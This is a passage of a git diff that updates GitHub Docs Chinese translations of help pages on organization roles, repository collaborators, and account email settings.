+ms.locfileid: "145084733" +--- +## 查看组织角色 + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %} +4. 您将看到组织中人员的列表。 若要按角色筛选列表,请单击“角色”并选择要搜索的角色。 + ![click-role](/assets/images/help/organizations/view-list-of-people-in-org-by-role.png) + +{% ifversion fpt %} + +如果您的组织使用 {% data variables.product.prodname_ghe_cloud %},您还可以查看管理所有企业组织的计费设置和策略的企业所有者。 有关详细信息,请参阅 [{% data variables.product.prodname_ghe_cloud %} 文档](/enterprise-cloud@latest/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization#view-enterprise-owners-and-their-roles-in-an-organization)。 + +{% endif %} + +{% if enterprise-owners-visible-for-org-members %} +## 查看企业所有者及其在组织中的角色 + +如果您的组织由企业帐户管理,则可以查看管理企业所有组织的帐单设置和策略的企业所有者。 有关企业帐户的详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 帐户的类型](/get-started/learning-about-github/types-of-github-accounts)”。 + +您还可以查看企业所有者是否在组织中具有特定角色。 企业所有者也可以是组织成员、任何其他组织角色,或者是与组织无关的角色。 + +{% note %} + +**注意:** 如果你是组织所有者,还可以邀请企业所有者在组织中担任角色。 如果企业所有者接受邀请,则会从企业的可用许可证中使用组织中的席位或许可证。 有关许可工作原理的详细信息,请参阅“[企业中的角色](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner)”。 + +{% endnote %} + +| **企业角色** | **组织角色** | **组织访问或影响** | +|----|----|----|----| +| 企业所有者 | 非附属角色或非官方组织角色 | 无法访问组织内容或存储库,但可管理影响组织的企业设置和策略。 | +| 企业所有者 | 组织所有者 | 能够配置组织设置并通过团队等管理对组织资源的访问。 | +| 企业所有者 | 组织成员 | 能够访问组织资源和内容(如存储库),而无需访问组织的设置。 | + +若要查看组织中的所有角色,请参阅“[组织中的角色](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)”。 {% if custom-repository-roles %} 组织成员还可以具有特定存储库的自定义角色。 有关详细信息,请参阅“[管理组织的自定义存储库角色](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)”。{% endif %} + +有关企业所有者角色的详细信息,请参阅“[企业中的角色](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner)”。 + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %} +4. 在左侧边栏的“企业权限”下,单击“企业所有者”。 + ![边栏菜单中“企业所有者”选项的屏幕截图](/assets/images/help/organizations/enterprise-owners-sidebar.png) +5. 查看企业的企业所有者列表。 如果企业所有者也是您组织的成员,则您可以看到他们在组织中的角色。 + + ![企业所有者列表及其在组织中的角色的屏幕截图](/assets/images/help/organizations/enterprise-owners-list-on-org-page.png) + +{% endif %} diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md index cd599dfdc0..80e3259548 100644 --- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md @@ -1,6 +1,6 @@ --- -title: Inviting collaborators to a personal repository -intro: 'You can {% ifversion fpt or ghec %}invite users to become{% else %}add users as{% endif %} collaborators to your personal repository.' +title: 邀请协作者参加个人仓库 +intro: '你可以{% ifversion fpt or ghec %}邀请用户成为{% else %}添加用户作为{% endif %}个人存储库的协作者。' redirect_from: - /articles/how-do-i-add-a-collaborator - /articles/adding-collaborators-to-a-personal-repository @@ -18,50 +18,49 @@ topics: - Accounts - Repositories shortTitle: Invite collaborators +ms.openlocfilehash: b8cf147e94d4dd0a76d0bebcb07a58d03d7cbc9e +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145164797' --- -Repositories owned by an organization can grant more granular access. For more information, see "[Access permissions on {% data variables.product.prodname_dotcom %}](/articles/access-permissions-on-github)." +组织拥有的仓库可授予更细致的访问权限。 有关详细信息,请参阅“[对 {% data variables.product.prodname_dotcom %} 的访问权限](/articles/access-permissions-on-github)”。 {% data reusables.organizations.org-invite-expiration %} {% ifversion fpt or ghec %} -If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, you can only invite other members of your enterprise to collaborate with you. {% data reusables.enterprise-accounts.emu-more-info-account %} +如果您是 {% data variables.product.prodname_emu_enterprise %} 的成员,则只能邀请企业的其他成员与您协作。 {% data reusables.enterprise-accounts.emu-more-info-account %} {% note %} -**Note:** {% data variables.product.company_short %} limits the number of people who can be invited to a repository within a 24-hour period. If you exceed this limit, either wait 24 hours or create an organization to collaborate with more people. +注意:{% data variables.product.company_short %} 会限制在 24 小时内可受邀加入存储库的人数。 如果您超过此限制,请等待 24 小时后再邀请,或者创建一个组织以与更多的人协作。 {% endnote %} {% endif %} -1. Ask for the username of the person you're inviting as a collaborator.{% ifversion fpt or ghec %} If they don't have a username yet, they can sign up for {% data variables.product.prodname_dotcom %} For more information, see "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/articles/signing-up-for-a-new-github-account)".{% endif %} -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4%} -{% data reusables.repositories.click-collaborators-teams %} -1. Click **Invite a collaborator**. - !["Invite a collaborator" button](/assets/images/help/repository/invite-a-collaborator-button.png) -2. In the search field, start typing the name of person you want to invite, then click a name in the list of matches. - ![Search field for typing the name of a person to invite to the repository](/assets/images/help/repository/manage-access-invite-search-field-user.png) -3. Click **Add NAME to REPOSITORY**. - ![Button to add collaborator](/assets/images/help/repository/add-collaborator-user-repo.png) -{% else %} -5. In the left sidebar, click **Collaborators**. -![Repository settings sidebar with Collaborators highlighted](/assets/images/help/repository/user-account-repo-settings-collaborators.png) -6. Under "Collaborators", start typing the collaborator's username. -7. Select the collaborator's username from the drop-down menu. - ![Collaborator list drop-down menu](/assets/images/help/repository/repo-settings-collab-autofill.png) -8. Click **Add collaborator**. - !["Add collaborator" button](/assets/images/help/repository/repo-settings-collab-add.png) -{% endif %} -{% ifversion fpt or ghec %} -9. The user will receive an email inviting them to the repository. Once they accept your invitation, they will have collaborator access to your repository. +1. 询问你邀请作为协助者的用户名。{% ifversion fpt or ghec %} 如果他们还没有用户名,他们可以注册 {% data variables.product.prodname_dotcom %}。有关详细信息,请参阅“[注册新的 {% data variables.product.prodname_dotcom %} 帐户](/articles/signing-up-for-a-new-github-account)”。{% endif %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658%} {% data reusables.repositories.click-collaborators-teams %} +1. 单击“邀请协作者”。 + ![“邀请协作者”按钮](/assets/images/help/repository/invite-a-collaborator-button.png) +2. 在搜索字段中,开始键入您想邀请的人员的姓名,然后单击匹配列表中的姓名。 + ![搜索字段以键入要邀请加入存储库的人员姓名](/assets/images/help/repository/manage-access-invite-search-field-user.png) +3. 单击“将 添加到存储库”。 + ![用于添加协作者的按钮](/assets/images/help/repository/add-collaborator-user-repo.png) {% else %} +5. 在左侧边栏中,单击“协作者”。 +![突出显示协作者的“存储库设置”侧边栏](/assets/images/help/repository/user-account-repo-settings-collaborators.png) +6. 在 "Collaborators"(协作者)下,开始输入协作者的用户名。 +7. 从下拉菜单中选择协作者的用户名。 + ![协作者列表下拉菜单](/assets/images/help/repository/repo-settings-collab-autofill.png) +8. 单击“添加协作者”。 + ![“添加协作者”按钮](/assets/images/help/repository/repo-settings-collab-add.png) {% endif %} {% ifversion fpt or ghec %} +9. 用户将会收到一封邀请他们参加仓库的电子邮件。 在接受邀请后,他们便对仓库具有协作者访问权限。 {% endif %} -## Further reading +## 延伸阅读 -- "[Permission levels for a personal account repository](/articles/permission-levels-for-a-user-account-repository/#collaborator-access-for-a-repository-owned-by-a-personal-account)" -- "[Removing a collaborator from a personal repository](/articles/removing-a-collaborator-from-a-personal-repository)" -- "[Removing yourself from a collaborator's repository](/articles/removing-yourself-from-a-collaborator-s-repository)" -- "[Organizing members into teams](/organizations/organizing-members-into-teams)" +- “[个人帐户存储库的权限级别](/articles/permission-levels-for-a-user-account-repository/#collaborator-access-for-a-repository-owned-by-a-personal-account)” +- [从个人存储库中删除协作者](/articles/removing-a-collaborator-from-a-personal-repository) +- [从协作者的存储库中删除你自己](/articles/removing-yourself-from-a-collaborator-s-repository) +- [将成员组织为团队](/organizations/organizing-members-into-teams) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md index e194eea8cd..7c367428f3 100644 --- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md @@ -1,6 +1,6 @@ --- -title: Removing a collaborator from a personal repository -intro: 'When you remove a collaborator from your project, they lose read/write access to your repository. If the repository is private and the person has created a fork, then that fork is also deleted.' +title: 从个人仓库中删除协作者 +intro: 当您从项目中删除协作者时,他们将失去对您仓库的读取/写入权限。 如果仓库为私有并且该人员已创建复刻,则该复刻也将删除。 redirect_from: - /articles/how-do-i-remove-a-collaborator - /articles/what-happens-when-i-remove-a-collaborator-from-my-private-repository @@ -21,27 +21,28 @@ topics: - Accounts - Repositories shortTitle: Remove a collaborator +ms.openlocfilehash: 24b128b5858c695b0e559302fac05812d3218b8c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145164728' --- -## Deleting forks of private repositories +## 删除私有仓库的复刻 -While forks of private repositories are deleted when a collaborator is removed, the person will still retain any local clones of your repository. +尽管删除协作者时将删除私有仓库的复刻,但此人员将仍保留您仓库的任何本地克隆。 -## Removing collaborator permissions from a person contributing to a repository +## 删除为仓库做出贡献的人员的协作者权限 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -{% data reusables.repositories.click-collaborators-teams %} -4. To the right of the collaborator you want to remove, click {% octicon "trash" aria-label="The trash icon" %}. - ![Button to remove collaborator](/assets/images/help/repository/collaborator-remove.png) -{% else %} -3. In the left sidebar, click **Collaborators & teams**. - ![Collaborators tab](/assets/images/help/repository/repo-settings-collaborators.png) -4. Next to the collaborator you want to remove, click the **X** icon. - ![Remove link](/assets/images/help/organizations/Collaborator-Remove.png) -{% endif %} +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} {% data reusables.repositories.click-collaborators-teams %} +4. 在要移除的协作者的右侧,单击 {% octicon "trash" aria-label="The trash icon" %}。 + ![用于移除协作者的按钮](/assets/images/help/repository/collaborator-remove.png) {% else %} +3. 在左侧边栏中,单击“协作者和团队”。 + ![“协作者”选项卡](/assets/images/help/repository/repo-settings-collaborators.png) +4. 在要移除的协作者旁边,单击“X”图标。 + ![移除链接](/assets/images/help/organizations/Collaborator-Remove.png) {% endif %} -## Further reading +## 延伸阅读 -- "[Removing organization members from a team](/articles/removing-organization-members-from-a-team)" -- "[Removing an outside collaborator from an organization repository](/articles/removing-an-outside-collaborator-from-an-organization-repository)" +- [从团队中移除组织成员](/articles/removing-organization-members-from-a-team) +- [从组织存储库中移除外部协作者](/articles/removing-an-outside-collaborator-from-an-organization-repository) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md index 8e297db83f..02c29e65db 100644 --- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md @@ -1,6 +1,6 @@ --- -title: Removing yourself from a collaborator's repository -intro: 'If you no longer want to be a collaborator on someone else''s repository, you can remove yourself.' +title: 从协作者的仓库中删除您自己 +intro: 如果您不再想要成为其他人仓库中的协作者,您可以删除自己。 redirect_from: - /leave-a-collaborative-repo - /leave-a-repo @@ -19,15 +19,19 @@ topics: - Accounts - Repositories shortTitle: Remove yourself +ms.openlocfilehash: 3b760d7947d734d8fa6e1e366795ce698f9c0b7f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145164723' --- -{% data reusables.user-settings.access_settings %} -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -2. In the "Code, planning, and automation" section of the sidebar, click **{% octicon "repo" aria-label="The repo icon" %} Repositories**. +{% data reusables.user-settings.access_settings %} {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +2. 在边栏的“代码、规划和自动化”部分,单击“{% octicon "repo" aria-label="The repo icon" %} 存储库”。 {% else %} -2. In the left sidebar, click **Repositories**. - ![Repositories tab](/assets/images/help/settings/settings-sidebar-repositories.png) -{% endif %} -3. Next to the repository you want to leave, click **Leave**. - ![Leave button](/assets/images/help/repository/repo-leave.png) -4. Read the warning carefully, then click "I understand, leave this repository." - ![Dialog box warning you to leave](/assets/images/help/repository/repo-leave-confirmation.png) +2. 在左侧边栏中,单击“存储库”。 + ![“存储库”选项卡](/assets/images/help/settings/settings-sidebar-repositories.png) {% endif %} +3. 在要离开的存储库旁边,单击“离开”。 + ![“离开”按钮](/assets/images/help/repository/repo-leave.png) +4. 仔细阅读警告,然后单击“I understand, leave this repository(我已了解,离开此仓库)”。 + ![警告你将离开的对话框](/assets/images/help/repository/repo-leave-confirmation.png) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account.md index 0d8d4fd6b1..ceb6a337d5 100644 --- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account.md +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account.md @@ -1,6 +1,6 @@ --- -title: Adding an email address to your GitHub account -intro: '{% data variables.product.product_name %} allows you to add as many email addresses to your account as you like. If you set an email address in your local Git configuration, you will need to add it to your account settings in order to connect your commits to your account. For more information about your email address and commits, see "[Setting your commit email address](/articles/setting-your-commit-email-address/)."' +title: 添加电子邮件地址到 GitHub 帐户 +intro: '{% data variables.product.product_name %} 允许您根据需要为帐户添加多个电子邮件地址。 如果在本地 Git 配置中设置电子邮件地址,您需要将其添加到帐户设置,以将提交连接到帐户。 有关电子邮件地址和提交的详细信息,请参阅“[设置提交电子邮件地址](/articles/setting-your-commit-email-address/)”。' redirect_from: - /articles/adding-an-email-address-to-your-github-account - /github/setting-up-and-managing-your-github-user-account/adding-an-email-address-to-your-github-account @@ -14,24 +14,27 @@ topics: - Accounts - Notifications shortTitle: Add an email address +ms.openlocfilehash: 082326d96da4b36d1f29830491223ce9b649a15d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145164618' --- {% ifversion fpt or ghec %} {% note %} -**Notes**: +**注释**: - {% data reusables.user-settings.no-verification-disposable-emails %} - - If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, you cannot make changes to your email address on {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.enterprise-accounts.emu-more-info-account %} + - 如果您是 {% data variables.product.prodname_emu_enterprise %} 的成员,则无法在 {% data variables.product.prodname_dotcom_the_website %} 上更改您的电子邮件地址。 {% data reusables.enterprise-accounts.emu-more-info-account %} {% endnote %} {% endif %} -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.emails %} -{% data reusables.user-settings.add_and_verify_email %} -{% data reusables.user-settings.select_primary_email %} +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.emails %} {% data reusables.user-settings.add_and_verify_email %} {% data reusables.user-settings.select_primary_email %} -## Further reading +## 延伸阅读 -- "[Managing email preferences](/articles/managing-email-preferences/)" +- [管理电子邮件首选项](/articles/managing-email-preferences/) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/index.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/index.md index a45d2f7f77..8b5f8be27f 100644 --- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/index.md +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/index.md @@ -1,6 +1,6 @@ --- -title: Managing email preferences -intro: 'You can add or change the email addresses associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. You can also manage emails you receive from {% data variables.product.product_name %}.' +title: 管理电子邮件首选项 +intro: '您可以在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}上添加或更改与您的帐户关联的电子邮件地址。 您也可以管理从 {% data variables.product.product_name %} 收到的电子邮件。' redirect_from: - /categories/managing-email-preferences - /articles/managing-email-preferences @@ -24,5 +24,11 @@ children: - /types-of-emails-github-sends - /managing-marketing-emails-from-github shortTitle: Manage email preferences +ms.openlocfilehash: 8295d9884f7b2a9bfdef329f693c6492db636a61 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145164719' --- diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/remembering-your-github-username-or-email.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/remembering-your-github-username-or-email.md index d8d8d78c24..d8c266b968 100644 --- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/remembering-your-github-username-or-email.md +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/remembering-your-github-username-or-email.md @@ -1,6 +1,6 @@ --- -title: Remembering your GitHub username or email -intro: 'Are you signing in to {% data variables.location.product_location %} for the first time in a while? If so, welcome back! If you can''t remember the username for your personal account on {% data variables.product.product_name %}, you can try these methods for remembering it.' +title: 记住您的 GitHub 用户名或电子邮件 +intro: '是否距离您第一次登录 {% data variables.product.product_location %} 已经有一段时间? 如果是这样,欢迎回来! 如果无法记住 {% data variables.product.product_name %} 上个人帐户的用户名,可以尝试使用以下方法来记住它。' redirect_from: - /articles/oh-noes-i-ve-forgotten-my-username-email - /articles/oh-noes-i-ve-forgotten-my-username-or-email @@ -16,61 +16,66 @@ topics: - Accounts - Notifications shortTitle: Find your username or email +ms.openlocfilehash: e65ba973a5ca7865aa642ce5d64f8efa0a996742 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145164771' --- {% mac %} -## {% data variables.product.prodname_desktop %} users +## {% data variables.product.prodname_desktop %} 用户 -1. In the **GitHub Desktop** menu, click **Preferences**. -2. In the Preferences window, verify the following: - - To view your {% data variables.product.product_name %} username, click **Accounts**. - - To view your Git email, click **Git**. Note that this email is not guaranteed to be [your primary {% data variables.product.product_name %} email](/articles/changing-your-primary-email-address). +1. 在“GitHub 桌面”菜单中,单击“首选项” 。 +2. 在 Preferences(首选项)窗口中,验证以下内容: + - 若要查看 {% data variables.product.product_name %} 用户名,请单击“帐户”。 + - 若要查看 Git 电子邮件,请单击“Git”。 请注意,此电子邮件不保证是 [主要 {% data variables.product.product_name %} 电子邮件](/articles/changing-your-primary-email-address)。 {% endmac %} {% windows %} -## {% data variables.product.prodname_desktop %} users +## {% data variables.product.prodname_desktop %} 用户 -1. In the **File** menu, click **Options**. -2. In the Options window, verify the following: - - To view your {% data variables.product.product_name %} username, click **Accounts**. - - To view your Git email, click **Git**. Note that this email is not guaranteed to be [your primary {% data variables.product.product_name %} email](/articles/changing-your-primary-email-address). +1. 在“文件”菜单中,单击“选项” 。 +2. 在 Options(选项)窗口中,验证以下内容: + - 若要查看 {% data variables.product.product_name %} 用户名,请单击“帐户”。 + - 若要查看 Git 电子邮件,请单击“Git”。 请注意,此电子邮件不保证是 [主要 {% data variables.product.product_name %} 电子邮件](/articles/changing-your-primary-email-address)。 {% endwindows %} -## Finding your username in your `user.name` configuration +## 在 `user.name` 配置中查找用户名 -During set up, you may have [set your username in Git](/github/getting-started-with-github/setting-your-username-in-git). If so, you can review the value of this configuration setting: +在设置期间,你可能已[在 Git 中设置用户名](/github/getting-started-with-github/setting-your-username-in-git)。 如果这样,您可以查看此配置设置的值: ```shell $ git config user.name # View the setting -YOUR_USERNAME +YOUR_USERNAME ``` -## Finding your username in the URL of remote repositories +## 在远程仓库的 URL 中查找您的用户名 -If you have any local copies of personal repositories you have created or forked, you can check the URL of the remote repository. +如果您有已创建或已复刻的个人仓库的任何本地副本,则可以检查远程仓库的 URL。 {% tip %} -**Tip**: This method only works if you have an original repository or your own fork of someone else's repository. If you clone someone else's repository, their username will show instead of yours. Similarly, organization repositories will show the name of the organization instead of a particular user in the remote URL. +提示:此方法仅当你拥有原始存储库或其他人存储库中你自己的分叉时才有效。 如果您克隆其他人的仓库,将显示他们的用户名而不是您的用户名。 类似地,组织仓库将显示组织的名称,而不是远程 URL 中的特定用户。 {% endtip %} ```shell -$ cd YOUR_REPOSITORY +$ cd YOUR_REPOSITORY # Change directories to the initialized Git repository $ git remote -v -origin https://{% data variables.command_line.codeblock %}/YOUR_USERNAME/YOUR_REPOSITORY.git (fetch) -origin https://{% data variables.command_line.codeblock %}/YOUR_USERNAME/YOUR_REPOSITORY.git (push) +origin https://{% data variables.command_line.codeblock %}/YOUR_USERNAME/YOUR_REPOSITORY.git (fetch) +origin https://{% data variables.command_line.codeblock %}/YOUR_USERNAME/YOUR_REPOSITORY.git (push) ``` -Your user name is what immediately follows the `https://{% data variables.command_line.backticks %}/`. +用户名紧跟在 `https://{% data variables.command_line.backticks %}/` 后。 {% ifversion fpt or ghec %} -## Further reading +## 延伸阅读 -- "[Verifying your email address](/articles/verifying-your-email-address)" -{% endif %} +- “[验证电子邮件地址](/articles/verifying-your-email-address)”{% endif %} diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address.md index d7da946ab7..14a934c114 100644 --- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address.md +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address.md @@ -1,6 +1,6 @@ --- -title: Setting your commit email address -intro: 'You can set the email address that is used to author commits on {% data variables.location.product_location %} and on your computer.' +title: 设置提交电子邮件地址 +intro: '你可以设置用于在 {% data variables.product.product_location %} 和计算机上创作提交的电子邮件地址。' redirect_from: - /articles/keeping-your-email-address-private - /articles/setting-your-commit-email-address-on-github @@ -22,61 +22,63 @@ topics: - Accounts - Notifications shortTitle: Set commit email address +ms.openlocfilehash: 76b0af2a1afa776281434c36cf33fa0e082c2c56 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '146338947' --- -## About commit email addresses +## 关于提交电子邮件地址 -{% data variables.product.prodname_dotcom %} uses your commit email address to associate commits with your account on {% data variables.location.product_location %}. You can choose the email address that will be associated with the commits you push from the command line as well as web-based Git operations you make. +{% data variables.product.prodname_dotcom %} 使用您的提交电子邮件地址将提交与您的 {% data variables.product.product_location %} 关联。 您可以选择要与从命令行以及基于 web 的 Git 操作推送的提交相关联的电子邮件地址。 -For web-based Git operations, you can set your commit email address on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. For commits you push from the command line, you can set your commit email address in Git. +对于基于 Web 的 Git 操作,您可以在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上设置提交电子邮件地址。 对于从命令行推送的提交,您可以在 Git 中设置提交电子邮件地址。 -{% ifversion fpt or ghec %}Any commits you made prior to changing your commit email address are still associated with your previous email address.{% else %}After changing your commit email address on {% data variables.product.product_name %}, the new email address will be visible in all of your future web-based Git operations by default. Any commits you made prior to changing your commit email address are still associated with your previous email address.{% endif %} +{% ifversion fpt or ghec %} 在更改提交电子邮件地址之前进行的提交仍与之前的电子邮件地址关联。{% else %} 在 {% data variables.product.product_name %} 上更改提交电子邮件地址后,新电子邮件地址默认在所有未来基于 Web 的 Git 操作中可见。 在更改提交电子邮件地址之前进行的任何提交仍与之前的电子邮件地址关联。{% endif %} {% ifversion fpt or ghec %} {% note %} -**Note**: {% data reusables.user-settings.no-verification-disposable-emails %} +注意:{% data reusables.user-settings.no-verification-disposable-emails %} {% endnote %} {% endif %} -{% ifversion fpt or ghec %}If you'd like to keep your personal email address private, you can use a `noreply` email address from {% data variables.product.product_name %} as your commit email address. To use your `noreply` email address for commits you push from the command line, use that email address when you set your commit email address in Git. To use your `noreply` address for web-based Git operations, set your commit email address on GitHub and choose to **Keep my email address private**. +{% ifversion fpt or ghec %} 如果想将个人电子邮件地址设为私密,则可以使用 {% data variables.product.product_name %} 的 `noreply` 电子邮件地址作为提交电子邮件地址。 要将 `noreply` 电子邮件地址用于从命令行推送的提交,请在 Git 中设置提交电子邮件地址时使用该电子邮件地址。 要将 `noreply` 地址用于基于 Web 的 Git 操作,请在 GitHub 上设置提交电子邮件地址并选择“对我的电子邮件地址保密”。 -You can also choose to block commits you push from the command line that expose your personal email address. For more information, see "[Blocking command line pushes that expose your personal email](/articles/blocking-command-line-pushes-that-expose-your-personal-email-address)."{% endif %} +您也可以选择阻止从命令行推送的提交显示您的个人电子邮件地址。 有关详细信息,请参阅“[阻止会暴露个人电子邮件的命令行推送](/articles/blocking-command-line-pushes-that-expose-your-personal-email-address)。”{% endif %} -To ensure that commits are attributed to you and appear in your contributions graph, use an email address that is connected to your account on {% data variables.location.product_location %}{% ifversion fpt or ghec %}, or the `noreply` email address provided to you in your email settings{% endif %}. {% ifversion not ghae %}For more information, see "[Adding an email address to your {% data variables.product.prodname_dotcom %} account](/github/setting-up-and-managing-your-github-user-account/adding-an-email-address-to-your-github-account)."{% endif %} +为确保提交归因于你并且出现在你的贡献图中,请使用已连接到你在 {% data variables.product.product_location %} 上的帐户的电子邮件地址{% ifversion fpt or ghec %},或者在电子邮件设置中提供给你的 `noreply` 电子邮件地址{% endif %}。 {% ifversion not ghae %} 有关详细信息,请参阅“[将电子邮件地址添加到 {% data variables.product.prodname_dotcom %} 帐户](/github/setting-up-and-managing-your-github-user-account/adding-an-email-address-to-your-github-account)”。{% endif %} {% ifversion fpt or ghec %} {% note %} -**Note:** If you created your account on {% data variables.location.product_location %} _after_ July 18, 2017, your `noreply` email address for {% data variables.product.product_name %} is an ID number and your username in the form of ID+USERNAME@users.noreply.github.com. If you created your account on {% data variables.location.product_location %} _prior to_ July 18, 2017, your `noreply` email address from {% data variables.product.product_name %} is USERNAME@users.noreply.github.com. You can get an ID-based `noreply` email address for {% data variables.product.product_name %} by selecting (or deselecting and reselecting) **Keep my email address private** in your email settings. +注意:如果于 2017 年 7 月 18 日之后在 {% data variables.product.product_location %} 上创建了帐户,则用于 {% data variables.product.product_name %} 的 `noreply` 电子邮件地址是一个七位数的 ID 号以及格式为 ID+username@users.noreply.github.com 的用户名。 如果于 2017 年 7 月 18 日之前在 {% data variables.product.product_location %} 上创建了帐户,则来自 {% data variables.product.product_name %} 的 `noreply` 电子邮件地址是 username@users.noreply.github.com。 可以通过在电子邮件设置中选择(或取消选择并重新选择)“对我的电子邮件地址保密”,为 {% data variables.product.product_name %} 获取基于 ID 的 